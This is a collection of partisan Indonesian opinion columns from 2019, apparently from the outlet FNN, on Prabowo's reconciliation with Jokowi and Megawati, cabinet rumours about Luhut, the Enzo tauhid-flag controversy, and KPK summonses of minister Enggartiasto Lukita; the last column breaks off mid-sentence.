menyakitkan untuk menerima "kemenangan" yang diwarnai kecurangan. Pedih dan perih serta kecewa dan menyesal berjuang 10 bulan berjuang untuk capres 02 setelah melihat Prabowo merapat ke Jokowi. Maklum, para pejuang itu bertekad menegakkan kejujuran, kebenaran dan keadilan di negeri ini. Bukan kecurangan, kebohongan dan kejahatan. Pendukungnya telah mengorbakan waktu, biaya, tenaga dan fikiran. Prabowo pun dianggap meremehkan pengorbanan emak-emak, serta mengesampingkan ulama yang ditangkap, diusir, berjuang untuk perubahan yang lebih baik bagi ummat dan bangsa dengan pemimpin yang mewujudkan adil dan makmur. Sebaiknya, Prabowo dengan Gerindranya jangan melakukan ‘bunuh diri politik’. Yang jelas, jutaan emak-emak dan para pendukung militan 02 marah, protes dan kecewa berat serta ada pula yang menuduh Prabowo berkhianat. Karena mereka telah berkorban moril dan materiel bahkan ada korban nyawa saat selama 10 bulan berjuang memenangkan capres-cawapres Prabowo-Sandi. Maka sangat wajar kalau pendukung militan Prabowo terutama emak-emak sangat marah kepada Prabowo setelah merasa kaget ibarat disambar petir tiba-tiba mendadak sontak terjadi "perselingkuhan" di MRT antara Prabowo dengan Jokowi. Mereka tidak pernah diajak bicara sebelumnya dan bahkan tidak diberikan penjelasan setelahnya oleh Prabowo. Fakta telah terjadi, pertemuan Prabowo dengan Jokowi di Stasiun MRT Lebak Bulus disusul pertemuan dengan Megawati di Teuku Umar, dan dilanjutkan ketua umum Gerindra itu diundang oleh Megawati untuk menghadiri Kongres ke-5 PDIP di Bali pada Rabu (7/8). Dikabarkan pula, Prabowo ditawari oleh Megawati untuk siap bertarung kembali menjadi capres di Pilpres 2024. Sebenarnya tawaran dulu sudah pernah saat Prabowo bersedia menjadi cawapres pendamping Megawati di Pilpres 2009 dengan imbalan akan didukung jadi cawapres di Pilpres 2014. Namun imbalan yang tersirat dalam “Pernjanjian Batutulis” tersebut ternyata lewat karena PDI-P pimpinan Megawati mengusung Jokowi sebagai capres pada Pilpres 2014. Prabowo dikibuli ketua umum PDI-P? Karena itu, harus ada perjanjian hitam putih agar jangan sampai dikibuli kedua kalinya. Karena orang pintar bukan keledai. Apakah pertemuan Prabowo - Megawati akan membawa koalisi baru PDI-P dan Gerindra sekaligus bagi-bagi jatah kursi menteri? Dalam silaturahmi ke kediaman Megawati di Teuku Umar yang bertajuk pertemuan makan nasi goreng itu, Prabowo mengaku tidak membahas bagi-bagi kursi jatah menteri ataupun negosiasi politik pasca Pilpres 2019. Meski Prabowo sempat bicara empat mata dengan Megawati dalam pertemuan tertutup. Mudah-mudahan Prabowo tidak bohong dan sikap keluguannya sama ketika capres 02 ini melayat Bu Ani (Alm) mengutip omongan SBY bahwa isterinya mendukung Prabowo di Pilpres 2019, hingga bikin SBY tersipu-sipu yang akhirnya “meralat” pernyataan Prabowo. Yang terjadi sekarang, pasca pertemuan MRT Prabowo dengan Jokowi dilanjutkan dengan Megawati, telah memecah belah masing-masing kubu. Yakni, kubu pendukung Prabowo berantem sendiri di medsos, ada yang membela Prabowo dan ada yang mengecam Prabowo. Fatalnya pula, ada yang menuduh penumpang gelap terhadap sesama pendukung 02. Sedangkan koalisi Jokowi juga terpecah, setelah Prabowo ketemu Megawati langsung memporak-porandakan elit partai koalisi Jokowi hingga “berantem” sendiri, bahkan bersitegang rebutan kursi. Ada pula rekaan sekaligus asumsi bahwa pertemuan Megawati dan Prabowo bakal memunculkan peta politik baru. Koalisi PDI-P yang mengandeng Gerindra bakal berhadapan dengan koalisi Nasdemnya Surya Paloh dengan partai-partai yang tidak setuju Gerindra masuk kabinet Jokowi. Yang jelas pertemuan Mega – Prabowo bikin kubu 01 bersitegang dan terancam retak. Pasalnya, Partai Nasdem melalui para elitnya menyatakan tidak setuju kalau Praowo bergabung di koalisi Jokowi. Inilah setidakntya menjadi alasan mengapa kubu Surya Paloh melakukan “pertemuan tandingan” terhadap pertemuan Mega-Prabowo. Maka berkumpullah di DPP Nasdem empat pimpinan partai di koalisi Jokowi, yaitu Ketum PKB Muhaimin, Ketum Golkar Airlangga, Plt Ketum PPP Suharso dan Ketum Nasdem Surya Paloh. Silakan berkilah dan berdalih segala macam, namun publik kadung menerka bahwa ini sebagai “pertemuan tandingan” terhadap pertemuan Teuku Umar. Surya Paloh merasa terancam bahwa jatahnya akan dikikis, sehinnga berlagak main ancam pada mitra koalisi dengan berpura-pura akan mendaulat Anies Baswedan sebagai capres 2024. SBY yang selama ini dikenal sebagai musuh Megawati pun, juga terdepak. SBY dan Partai Demokrat terancam tidak akan diberi ruang untuk bermanuver. Harapan SBY untuk majukan anaknya, AHY di Pilpres 2024 pun menjadi mimpi. Maklum, ketua umum PDI-P tersebut tidak suka juga perngaruh SBY sangat besar terhadap Jokowi. Pasalnya, SBY yang diduga merekayasa Pilpres 2014 memenangkan Jokowi serta beruhasa memenangkan Jokowi lagi di Pilpres 2019. Jenderal Hendropriyono, Luhut, Moeldoko, Wiranto dan SBY yang selama ini terkesan “menjegal” Prabowo juga tak bisa berkutik lagi begitu mantan Danjen Kopassus itu bertemu Megawati. Apalagi, konon Nasdem tetap meminta jatah jabatan jaksa agung untuk kabinet mendatang jadi tidak tergapai. Ada bagusnya jika kubu Nasdem pecah kongsi dengan PDI-P, agar tidak semua partai bergabun menjadi satu di koalisi pemerintahan Jokowi. Bagi rakyat, sangalah merugikan jika tidak ada oposisi yang kritis terhadap penguasa. Jika semua partai berada di satu sisi, yaitu sisi penguasa, maka negara ini hanyalah milik segelintir penguasa. Jika semua memilih ber-rekonsiliasi dan ogah jadi opoisisi, maka kediktatoran akan makin menguat. Jika tidak ada oposisi, lebih baik bikin saja Partai tunggal seperti di negeri komunis. Maka tidak perlu ada pemilu dan pilpres yang menelan duit rakyat lebih dari Rp25 triliun yang mestinya bisa digunakan sebagai modal untuk menampung jutaan pengangguran yang marak di negeri ini. Dengan kumpul Megawati, memang ada hal yang menguntungkan bagi Prabowo meski mengecewakan pendukung militannya. Menguntungkan karena bisa membungkam Luhut Binsar Panjaitan (LBP) yang selama ini dikenal sebagai “the real presiden” serta pengaruh Surya Paloh dan Hendropriyono yang diduga sebagai elit pembisik Jokowi. Megawati merangkul Prabowo ke kubu 01 sekaligus memberikan isyarat ‘tendang out’ untuk LBP yang dianggap ‘ngrecoki’ pemerintahan Jokowi. Sejak Lebak Bulus, LBP paham bahwa dia akan dibuang dari lingkaran Jokowi. Setelah sadar dirinya bakal terdepak, LBP tiba-tiba melow dan mendadak ziarah kubur Benny Moerdani dan menulis “puisi” curhat di medsos. “Padahal biasanya, jangankan kuburan, akhirat pun berani dia buldozer,” sindir pegiat medsos, Hizbullah Ivan. Kita belum tahu, apa ending dari jurus pendekar mabuk Prabowo sekarang ini. Apakah ini jurus Prabowo untuk bisa membalikkan hasil pilpres yang dinilai curang? Ataukah malah kepintaran pihak ‘lawan politik’ yang berhasil menaklukkan Prabowo dengan siasat yang dibungkus “pertemuan”? Semoga saja ini kepiawaian mantan Danjen Kopassus tersebut. Kalau tidak, maka akan membuat pendukung militanya di Pilpres 2019 semakin kecewa lemas. Tapi awas... Prabowo harus ingat nazarnya, lebih baik mati ketimbang khianati rakyat. Aspirasi rakyat itu di antaranya menuntaskan skandal BLBI, kasus penyiraman Novel Baswedan, stop utang luar negeri, berantas mafia impor, dan lain-lain. Kalau setelah melakukan “jurus mabuk” Prabowo tidak menghasilkan manfaat konkrit buat rakyat, maka Prabowo akan dihukum sosial dan Gerindra erancam jadi partai gurem di Pemilu 2024. Prabowo juga harus ingat jangan mengabaikan 700 nyawa anggota KPPS yang meninggal di Pilpres 2019, ribuan yang sakit, sekitar 10 massa aksi 21-22 Mei yang tewas, ratusan terluka, dan puluhan lainnya dikabarkan “hilang”. Kabarnya, ada tawaran dari rezim petahana ataupun klaim dari kubu Prabowo bahwa “rekonsiliasi” dengan kubu Jokowi adalah untuk membebaskan para tahanan maupun ulama pendukungnya yang dikriminalisasi dan dimasukkan penjara. Apa benar? Hingga kini belum ada pengumuman siapa saja yang dibebaskan dari tahanan. Mereka masih mendekam di penjara, termasuk Kivlan Zen. Dalam video pidato Prabowo yang diunggah Ketua DPP Partai Gerindra Iwan Sumule di akun Facebook pribadinya yang diunggah Jumat (12/7), Prabowo yang tampak sedang berbicara dengan para pendukungnya menegaskan bahwa Gerindra akan selalu ingat pada rakyat dan tidak pernah berkhianat. Dia juga memastikan bahwa dirinya akan memilih mati ketimbang harus mengkhianati perjuangan rakyat. “Saya katakan kepada kalian. Lebih baik Prabowo mati daripada berkhianat kepada rakyat Indonesia,” tegas Prabowo yang sontak mendapat tepuk tangan dari seisi gedung. Bilamana koalisi dengan PDI-P, yang dilakukan Gerindra sekadar miripkan dengan kecenderungan PDI-P yang tidak ramah dengan kepentingan Islam, misalnya ada politikus PDI-P yang mengusulkan penghapusan pelajaran agama di sekolah, penolakan Perda syariah, dan lain-lain. Maka, Gerindra akan ditingalkan pemilih dari kalangan ummat Islam. Jadi, Gerindra harus tetap memperjuangkan aspirasi ulama karena dukungan mereka dalam meningkatkan perolehan suara Gerindra di Pemilu 2019 cukup signifikan. Prabowo juga harus mencegah jangan terjadi kriminalisasi ulama sekaligus mendorong kepulangan Habib Rizieq ke tanah air sesuai kedekatan Prabowo dengan pemimpin FPI tersebut jelang Pilpres. Dan semoga saja tidak benar kabar yang mengungkapkan bahwa ada kelompok elit Gerindra yang main dua kaki untuk mendekatkan Prabowo dengan Megawati, serta menjauhkan Prabowo dari para ulama GNPF dan para pemuka PA-212 sekaligus mencabut Prabowo dari umat Islam militan “garis lurus”. Perlu diwaspadai mereka akan ‘digarap’ di periode kedua Jokowi. Diperkirakan, akan banyak kebijakan dan tindakan langsung Presiden yang ditujukan untuk melemahkan ummat garis lurus dengan dalih membasmi radikalisme. Apalagi, di era rezim ini ummat Islam merasa “dirugikan” alias tidak diuntungkan seperti di era-era sebelumnya. Ada pendapat yang menganggap bahwa Prabowo akan memporak-porandakan kubu 01, setelah pertemuan dengan Jokowi dan kemudian mendatangi rumah Megawati. Benarkah Prabowo bakal berhasil mengacak-acak kubu 01 serta “menghancurkan” Jokowi dan para sekutunya? Lihat saja nanti! Jika benar, maka Prabowo adalah ahli strategi yang hebat. Tapi kalau ujung-ujungnya Jokowi tetap dilantik jadi presiden pada Oktober 2019 dan Gerindra ikut bergabung dengan partai koalisi pemerintah Jokowi serta cuma mendapat segelintir kursi menteri yang trivial, maka artinya jurus ‘pendekar mabuk’ Prabowo ternyata adalah jurus mabuk beneran. He...he...hee... (***)

Rasa-rasanya Luhut Memang Bakal Tersingkir

Episode Luhut nyekar ke makam LB Moerdani, menunjukkan sinyak kuat bahwa dia menyadari akan tersingkir. Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Janur kuning belum menghiasi pelaminan. Masih ada waktu untuk melamar menjadi menteri. Boleh jadi, begitulah tekad pada pemimpin partai politik saat ini. Hanya saja, belakangan publik dibikin bertanya-tanya: mengapa Ketua Umum Partai Nasdem Surya Paloh sering uring-uringan, seakan-akan kursi-kursi kabinet sudah diplot Jokowi dan partainya tidak kebagian secara memadai? Lalu, Luhut Binsar Panjaitan juga begitu. Menko Maritim ini seakan sudah mati arang, menunjukkan bahwa pada Kabinet Kerja II Jokowi, ia bakal tersisih? Hanya Surya dan Luhut yang tahu apa masalah yang menimpa diri mereka itu. Namun, belakangan memang sudah beredar semacam draft susunan anggota Kabinet Kerja II Jokowo-Ma’ruf Amin. Dalam selebaran yang viral itu, tak ada nama Luhut. Ia digantikan Susi Pudjiastuti sebagai Menko Maritim. Lalu, Faisal Basri diplot menjadi Menteri ESDM. Ada nama-nama lain, kebanyakan wajah baru di kabinet. PDIP dapat jatah terbanyak. Celakanya bagi Partai Nadem, tak ada satu pun kadernya yang nongkrong di sana. Tapi jangan percaya dengan selebaran begituan. Itu bukan kitab suci yang patut dijadikan referensi. Anggap saja itu sampah, berita palsu, atau hoaks. Lagi pula asal-usul selebaran itu juga tidak jelas. Bisa jadi itu dibuat orang iseng. Namun, bisa juga dibuat pihak Istana untuk kepentingan tertentu, misalnya untuk mengukur tingkat penerimaan atau penolakan publik terhadap tokoh-tokoh yang bakal dipasang. Bagaimana pun, selebaran ini membuat penasaran banyak orang. Begitu juga di kalangan wartawan. Seorang wartawan senior mengaku penasaran sehingga terdorong melakukan cek and ricek. Ia jumpai beberapa nama yang disebut dalam selebaran itu. Sebagain dari mereka cuma senyum-senyum, sebagian lagi geleng-geleng kepala. Ada juga yang menjawab “Aamiin’. Dari hasil memulung itu, ada informasi penting yang belum banyak tersiar. Kabarnya, Presiden Jokowi telah memanggil calon menteri koordinator. Mereka diajak bicara untuk ikut menyusun menteri-menteri di bawah jajarannya. Susi kabarnya adalah salah satu menko itu. Lalu, di bawah koordinassi Susi ada nama Faisal Basri. Ekonom yang sempat ditunjuk menjadi Ketua Antimafia Migas ini diplot menjadi Menteri Energi dan Sumber Daya Mineral. Duet Susi dan Faisal ini, menurut sumber tadi akan menjadi "Buldozer" Jokowi dalam mengatasi kekisruhan tata kelola pertambangan di Indonesia. Susi dan Feisal dinilai punya nyali untu melawan para mafia pertambangan. Susi dalam kabinet Kerja I dianggap berhasil menumpas mafia di laut, di kabinet berikutnya dia ditugaskan menumpas mafia di lautan dan daratan. Kelas informasi ini adalah A2. Maknanya, kesahihannya di bawah A1. Kebenarannya tinggal tunggu pengumuman kabinet resmi. Tapi boleh jadi, inilah yang membuat Surya Paloh dan Luhut agak emosional belakangan ini. Surya misalnya bermanuver mengumpulkan anggota partai koalisi minus PDIP, dan Luhut membuat status “perpisahan” saat nyekar ke makam LB Moerdani. Surya dan Luhut sama-sama sudah menyadari mereka bakal tersingkir. Bahkan PDI Perjuangan yang awalnya terkesan jaim alias jaga imej dalam kaitan kursi menteri, pada Kamis (8/8) kemarin menunjukkan wajah aslinya. Tanpa tedeng aling-aling, Megawati Soekarnoputri meminta lebih banyak menteri nantinya. “Mesti lebih banyak,” tuntut Ketua Umum partai berlambang banteng moncong putih ini kepada Presiden Joko Widodo saat ia berpidato dalam Kongres V PDI-P di Grand Inna Beach, Denpasar, Bali. Lebih banyak yang dimaksud Mega tentulah jumlahnya lebih dari yang sekarang dan jumlah itu mesti lebih banyak dari partai anggota koalisi lainnya. Dalil Mega, PDIP adalah pemenang pemilu. "Orang kita ini pemenang pemilu dua kali," kata Mega. Mega dengan tegas mengatakan bakal menolak apabila Presiden Jokowi hanya memberikan sedikit jatah kursi menteri untuk diisi kader PDI-P. "Jangan nanti (Jokowi mengatakan), Ibu Mega, saya kira karena PDI-P sudah banyak kemenangan, sudah di DPR, saya kasih empat (kursi menteri). Emoh, tidak mau, tidak mau, tidak mau," ujarnya. Saat mendapat giliran berpidato, Jokowi menjanjikan kursi menteri terbanyak bagi PDIP. "Yang jelas, PDIP pasti yang terbanyak. Jaminannya saya," jawabnya. Mega telah menunjukkan keperkasaannya pada hari itu. Ia juga telah menunjukkan siapa dirinya yang sebenarnya. Ia pandai memanfaatkan momentum. Dia tahu kapan bicara dan tahu kapan harus diam. Mega tentu sudah menduga jawaban apa yang bakal disampaikan Jokowi. Pada saat itu, Mega di atas semua yang hadir dalam Kongres PDIP, termasuk Jokowi. Nah, sampai di sini publik bisa membaca, PDIP nantinya akan mendominasi kabinet. Selain itu, Jokowi pernah bilang akan memilih menteri dari kalangan anak-anak muda. Dari pernyataan ini saja sudah cukup jelas, Luhut bukan dari generasi yang disebut Jokowi itu. Jadi, siap-siap saja berpamitan dengan pensiunan jenderal yang oleh banyak pengusaha papan atas dijuluki "Prime Minister".

Save Taruna Enzo!

Lebih bahaya lagi jika ada pihak lain memanfaatkan rasa sakit hati Enzo. Dia akan jadi senjata mematikan jika dimanfaatkan melawan negara ini. Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Berparas tampan. Wajah bule. Usia 18 tahun. Cerdas berprestasi. Muslim taat pinter mengaji. Bisa 4 bahasa asing. Inggris, Prancis, Jerman, Jepang. Itulah Enzo Zenz Allie. Namanya tiba-tiba viral setelah TNI AD mengunggah videonya. TNI angkat bicara mengenai isu viral yang menuduh taruna Enzo terkait dengan organisasi HTI. Foto yang mendasari isu miring Enzo itu bisa jadi betul, bisa jadi salah. Meski begitu, TNI langsung turun tangan melakukan penelusuran. Yang disoal netizen adalah salah seorang calon taruna – yang diduga Enzo – terlihat pernah berfoto membawa Bendera Tauhid. Maaf, jangan mengalihkan hal yang tak pernah terjadi menjadi suatu ketakutan yang baru. Musuh TNI jelas! Yakni: Komunis! Karena di sana sudah ada aturan dan undang-undang yang mengaturnya. Apalagi, partai komunis di negara ini pernah memberontak pada pemerintahan yang sah. Pemberontakan butuh kekuatan politik dan bersenjata. “Jangan alihkan kewaspadaan kami terhadap komunis dengan memunculkan musuh baru bernama Khilafah,” tegas seorang alumni Akmil yang kini berpangkat Kapten itu. Komunis memberontak seluruh dunia juga pernah dan telah terjadi. Sebutkan di negara mana kelompok pendukung Khilafah memberontak. Menggunakan cara kriminal pembunuhan penghalalan segala cara seperti komunis? Terorisme? Pasti ada yang jawab itu. Terorisme itu muatan politis dan bukan karena agama. Di Inggris ada IRA, di Srilangka ada gerilyawan Macan Tamil dan lain-lain. Apa pernah kita sebut agamanya. Hanya di negara kita yang mayoritas beragama Islam malah penduduknya sebagian percaya terorisme berdasar agama Islam. Malahan serius, teroris di negara ini belum pernah ada pihak yang klaim bertanggung jawab. Lucu sih kalau dibandingkan dengan teroris luar negeri setelah aksi ada yang klaim sehingga jelas tujuannya. Mungkin cuma iseng atau teroris magang. Belum punya kelompok. Dan hanya mengisi waktu daripada nganggur. Yang jelas memang ada yang berusaha benturkan dan takut pada Khilafah cuma satu. Mereka takut hukum Islam diterapkan di negara ini. Jangan beralasan bahwa nanti yang non muslim dimusuhi. Bahkan, Nabi Muhammad SAW bersabda, bukan umat ku seseorang yang tidak baik dengan tetangganya walaupun beragama lain. Nabi pernah menyuapi pengemis buta bangsa Yahudi yang setiap hari memaki Rasulullah. Nah gimana itu. Yang takut hukum Islam itu kadang memang ada bakat maling, bakat hobi maksiat, bakat mabuk, bakat ke lokalisasi dan lain-lain. Karena mereka takut tangan dipotong atau dirajam. Dan, ingat mereka yang ketakutan sama Khilafah, sudah banyak yang masuk penjara karena terkait kasus korupsi. Terakhir, anggota DPR dari PDIP I Nyoman Damantra ditangkap KPK. Kritik Mahfud Masalah Enzo makin melebar setelah anggota BPIP Prof. Mahfud MD meminta supaya TNI memecatnya dari Akmil. Mungkin Mahfud lupa bahwa Bendera Tauhih itu adalah Bendera Rasulullah yang selalu ada dalam setiap sholat. Dan, ingat dan catat! Bahwa kalimat tauhid itu selalu dibaca dalam setiap sholat umat Islam. Karena, kalimat tauhid itu juga selalu tertanam dalam dada setiap Muslim di manapun, tidak hanya di Indonesia, tapi di seluruh belahan dunia. Jauh sebelum HTI lahir, kalimat tauhid itu sudah ada sejak zaman Rasulullah. Yang terpapar paham radikal itu adalah yang berani membakar bendera tauhid, sebab siapapun, yang anti agama itu cuma paham komunis yang anti Pancasila. Pernyataan Mahfud tentang Enzo agar TNI memecat Enzo sungguh menyakitkan hati ibu-ibu dan umat Muslim. “Anda zholim memperlakukan Anak Yatim,” tulis seorang netizen Tinoy Riady. “Enzo itu ganteng Prof, gampang baginya atau Ibunya menjadikannya seorang Artis,” lanjut Tinoy. Tapi, Enzo lebih memilih untuk membela Tanah Air dan membanggakan orangtuanya untuk menjadi anggota TNI sebagai garda terdepan dalam membela bangsa. “Dia rela habiskan masa mudanya untuk Latihan Militer. Lagipula, TNI sudah membantah bahwa Enzo terpapar radikalisme, begitu juga pihak Pesantren. Kesholehan dan berbaktinya ia kepada ibunya adalah bonus tiada tara dari Allah,” tulis Tinoy. “Harusnya Indonesia bangga kepada Enzo, bukan malah nyinyir dan nuduh macam-macam kepada Anak Yatim berprestasi ini. Yang harus dikhawatirkan adalah ideologi komunis prof, bukan Bendera Tauhid,” tegas Tinoy. Kepala Sekolah Ponpes Al Bayan, Deden Ramdhani, juga membantah blasteran Prancis itu anggota HTI. Deden mengatakan, pesantren yang diasuhnya juga bercorak ahlussunnah wal jamaah (aswaja) serta menyatakan setia kepada NKRI. “Sebagai lembaga tentu pemahaman kami ahlussunnah wal jamaah dan NKRI harga mati,” kata Deden Ramdhani saat ditemui wartawan di Anyer, Serang, Banten, Rabu (7/8/2019). Deden menilai santrinya tak mungkin masuk Akmil jika punya keterkaitan dengan HTI. Sebab, seleksi di TNI begitu ketat. “Enzo sudah jelas Pancasilais dan cinta NKRI,” ujarnya. Ibunda Enzo, Siti Hadiati Nahriah, bahagia putranya lolos seleksi Akmil TNI. Karena, dia mengatakan menjadi prajurit TNI adalah cita-cita Enzo sejak kecil. “Menjadi prajurit TNI, merupakan cita-citanya semenjak kecil,” kata Siti dalam situs resmi TNI AD, yang dilansir detikcom, Selasa (6/8/2019). Siti mengungkapkan, ayah kandungnya, Jeans Paul Francois Allie, meninggal dunia karena serangan jantung. Sejak saat itu, Siti memutuskan pindah dari Prancis ke Indonesia bersama Enzo. Di Indonesia Siti menyekolahkan Enzo di pesantren. Setelah lulus, barulah itu mengikuti tes penerimaan Taruna Akmil di Magelang. Dan, lolos! Ucapan Mahfud belakangan ini memang cukup kontroversial dalam setiap kali menanggapi suatu masalah. Setelah kemarin dengan enteng mengatakan daerah yang mendukung paslon 02 terpapar Islam garis keras, sekarang mencoba naikkan nama untuk kasus Enzo. Ketika pembahasan tentang radikalisme dan HTI, raut muka Mahfud memang agak berbeda. Dan, kata-kata yang kau keluarkan jauh dari bidang ilmu yang dikuasai. Seharusnya sebagai orang yang dekat dengan pemerintah dan berpengalaman di bidang hukum, dia lebih paham status hukum HTI dan perlakuan pada bendera tauhid. Apakah HTI dinyatakan ormas terlarang? Apakah bendera Tauhid juga dinyatakan terlarang negara ini? Jika dinyatakan terlarang, dia seharusnya berbicara dengan membawa landasan hukumnya, bukan opini yang akan dianggap kebenaran oleh sebagian orang. Mungkin Mahfud lupa, pembicaraan di twitter ketika ada orang yang menanyakan, apakah eks anggota HTI boleh bekerja masuk pemerintahan? Dengan indahnya Mahfud menjawab dengan mengambil contoh anak-anak eks PKI boleh menjadi caleg. Padahal PKI dinyatakan terlarang melalui ketetapan MPRS. Dan, Mahfud pun berkata bahwa eks HTI masih boleh berkecimpung di pemerintahan, misalnya menjadi PNS atau menjadi apapun. Karena HTI berbeda dengan PKI. HTI itu hanya dicabut status administrasinya, dan pencabutan itu tidak menjadikan HTI sebagai ormas terlarang. Untuk turunan PKI saja negara masih menerima mereka sebagai caleg, mengapa untuk Enzo, Mahfud menjadi berbelok? Ironis. Hanya dengan bermodalkan jejak digital, Mahfud bisa berlaku lebih kejam melebihi hakim di persidangan yang minta bukti otentik selain postingan di sosmed. Padahal, Mahfud sendiri adalah mantan Hakim. Andaikan benar Enzo dan ibunya adalah eks HTI, apakah cara yang dikatakan Mahfud itu bisa dinilai benar? Mengapa Mahfud meminta Enzo harus dikeluarkan? Pernyatan Mahfud jelas sangat tendensius. Seharusnya Mahfud meminta TNI menyelidiki dulu apakah benar Enzo terpapar radikalisasi dan HTI. Jika benar, tak seharusnya juga ia dikeluarkan dari TNI. Justru TNI harus mampu membina Enzo untuk kembali berpikiran jernih atas ideologi bangsa ini. “Enzo itu seorang taruna yang fenomenal, kemampuan bahasa asing dan hasil tes fisik yang di atas rata-rata, menjadikan dirinya sosok spesial. Bahaya jika kita berlaku tidak adil pada diri Enzo. Ia akan sakit hati!” tulis Setiawan Budi. Dan lebih bahaya lagi jika ada pihak lain memanfaatkan rasa sakit hati Enzo. Dia akan jadi senjata mematikan jika dimanfaatkan melawan negara ini. Ada rangkulan dan ada pelukan bila benar penyelidikannya mengatakan Enzo terlibat HTI. Bukan malah memperlakukannya bak pelaku PKI. Itu jika benar, jika tak benar, bagaimana? Perlakuan pada diri Enzo, sudah di luar logika. Pembunuhan karakter atas dirinya dan nama ibunya, benar-benar sudah mencerminkan, slogan Pancasila itu hanya pemanis saja. #SaveEnzo! ***

Surat Terbuka untuk Prof Empud tentang Enzo

Oleh Tinoy Riady Jakarta, FNN - Sebagai seorang ibu, saya merasa geram dengan pernyataan salah satu anggota BPIP (Badan Penafsir Ideologi Pancasila) Prof. Macfud MD tentang Enzo, seorang anak yatim blasteran Perancis, jebolan salah satu pesantren di Banten, hanya karena fotonya yang viral memegang bendera tauhid. Mungkin sang Profesor lupa bahwa bendera tauhid itu adalah bendera Rasulullah dan kalimat tauhid itu termasuk dalam Pancasila sila ke 1. Lalu apa yang radikal dari endera tersebut? Di mana anti Pancasilanya? Umat Islam sangat Pancasilais Prof, karena Pancasila adalah gambaran dari keseluruhan kehidupan masyarakat muslim. Pernyataan Anda tentang Enzo agar TNI memecat Enzo sungguh menyakitkan hati ibu-ibu dan ummat muslim Prof. Anda zholim memperlakukan anak yatim. Enzo itu ganteng Prof, gampang baginya atau ibunya menjadikannya seorang artis. Namun Enzo lebih memilih untuk membela Tanah Air dan membanggakan orangtuanya untuk menjadi TNI sebagai garda terdepan dalam membela Bangsa. Dia rela habiskan masa mudanya untuk latihan militer. Lagi pula TNI sudah membantah bahwa Enzo terpapar radikalisme, begitu juga pihak pesantren. Kesholehannya dan berbaktinya ia kepada mamanya adalah bonus tiada tara dari Allah. Harusnya Indonesia bangga kepada Enzo, bukan malah nyinyir dan menuduh macam-macam kepada anak yatim berprestasi ini. Yang harus di Khawatirkan adalah ideologiomunis Prof, bukan bendera tauhid. Bendera tauhid itu bukan bendera HTI, setiap muslim bangga mengibarkan panji Rasulullah. Komunis itu musuh yang nyata Prof. Orang yang berideologi komunis saja bisa masuk DPR, masa pemuda sholeh yang berjiwa tauhid tidak bisa ikut membela NKRI? Apa Anda sudah ikut-ikutan menjadi Islamphobia?

Rompi Oranye Menanti Enggartisto Lukita?

Oleh Dimas Huda Wartawan Senior Jakarta, FNN - Enggartiasto Lukita seakan memamerkan kedigdayaannya. Menteri Perdagangan ini sudah tiga kali mangkir dari pemeriksaan Komisi Pemberantasan Korupsi atau KPK. Panggilan terakhir 18 Juli lalu. KPK seakan tidak berdaya. Namun belakangan beredar kabar Enggar akan dirompioranyekan KPK sebelum 17 Agustus 2019. Maknanya, pada saat para narapidana mendapatkan keringanan hukuman, KPK justru mengalungkan status tersangka kepada kader Partai Nasdem itu. Kabar yang konon dihembuskan orang dalam KPK itu bisa jadi hanya sekadar rumor. Namun, sejumlah wartawan yang mendapat bisikan itu sudah gatal ingin menurunkan berita soal itu. “Tunggu tanggal mainnya,” ujar sumber itu, mewanti-wanti untuk tidak menurunkan kabar tersebut terlebih dahulu. Akhirnya, kabar itu pun hanya jadi pembicaraan terbatas saja. Enggar dipanggil KPK sebanyak tiga kali untuk diperiksa sebagai saksi dalam kasus suap Bowo Sidik Pangarso. Panggilan pertama dilakukan pada 2 Juli 2019. Namun, ia tidak hadir dengan alasan sedang di luar negeri. Ia kembali dipanggil pada 8 Juli 2019 dan kembali tidak hadir dengan alasan menjalankan tugas lain. Nah, yang terakhir 18 Juli lalu. KPK jelas gemas dengan sikap Enggar itu. Sebab, semestinya, sebagai pejabat publik Enggar dapat memberikan contoh kepatuhan terhadap hukum. "Perlu diingat, kehadiran sebagai saksi adalah kewajiban hukum, sehingga semestinya ini menjadi prioritas," kata juru bicara KPK, Febri Diansyah, 18 Juli lalu. Dalam perkara ini, KPK menetapkan Bowo Sidik Pangarso menjadi tersangka penerima suap dari bagian pemasaran PT Humpuss Transportasi Kimia, Asty Winasti. KPK menyangka Bowo menerima Rp2,5 miliar untuk membantu perusahaan kapal itu memperoleh kontrak kerja sama pengangkutan pupuk milik PT Pupuk Indonesia. Dalam proses penyidikan kasus itu, KPK turut menyita Rp6,5 miliar dari kantor perusahaan Bowo, PT Inersia di Pejaten, Jakarta Selatan. Uang tersebut disita dalam 400 ribu amplop yang disiapkan Bowo untuk serangan fajar pada Pemilu 2019. KPK menduga uang tersebut berasal dari tindak pidana korupsi yang berkaitan dengan jabatan Bowo sebagai anggota DPR Komisi IV. Kepada penyidik, Bowo mengatakan salah satu sumber uang itu berasal dari Enggartiasto. Enggar diduga memberikan Rp2 miliar dalam bentuk Dolar Singapura melalui utusannya pada pertengahan 2017. Bowo mengatakan Enggar memberikan uang untuk mengamankan Permendag Gula Rafinasi yang berlaku pada Juni 2017. Saat itu, Bowo merupakan salah satu pimpinan Komisi VI yang bermitra dengan Kemendag. Enggar sendiri membantah telah memberikan uang kepada politikus Partai Golkar tersebut. “Apa urusannya kasih duit? Saya yakin enggak ada, dia dari Golkar saya dari NasDem,” kata Enggar di Istana Negara, Jakarta, Senin, 29 April 2019. Bantahan Enggar kepada pers itu jelas tidak penting bagi KPK. Ia harus menyampaikan bantahan pada saat diperiksa penyidik. Tapi gaya Enggar malah mirip terpidana kasus KTP Elektronik, Setya Novanto: menghindari panggilan KPK. Setnov, saat mangkir panggilan KPK juga sebagai saksi. Akhirnya, KPK menetapkan Ketua DPR itu sebagai tersangka. Pengadilan memutus dia bersalah, lalu diinapkan di LP Sukamiskin, Bandung sampai sekarang. Impor Bawang Putih Nama Enggar kembali mengundang perhatian lagi, ketika KPK menetapkan enam orang sebagai tersangka dalam kasus dugaan suap izin impor bawang putih yang melibatkan anggota Komisi VI DPR RI, I Nyoman Dhamantra, Kamis (8/8) kemarin. Urusan impor bawang putih adalah urusan kementerian perdagangan. Nah, itu maknanya terkait juga Menteri Perdagangan Enggartiasto Lukita. Hanya saja, sepertti yang sudah-sudah Enggar mengaku tak tahu menahu. "Saya enggak tahu, belum tahu” katanya, Jumat (9/8). Enggar mengatakan, proses perizinan impor semestinya menjadi kewenangan pihaknya di Kemendag. Tiap proses perizinan itu akan diajukan dalam rapat koordinasi dengan Kementerian Koordinator Bidang Perekonomian. KPK 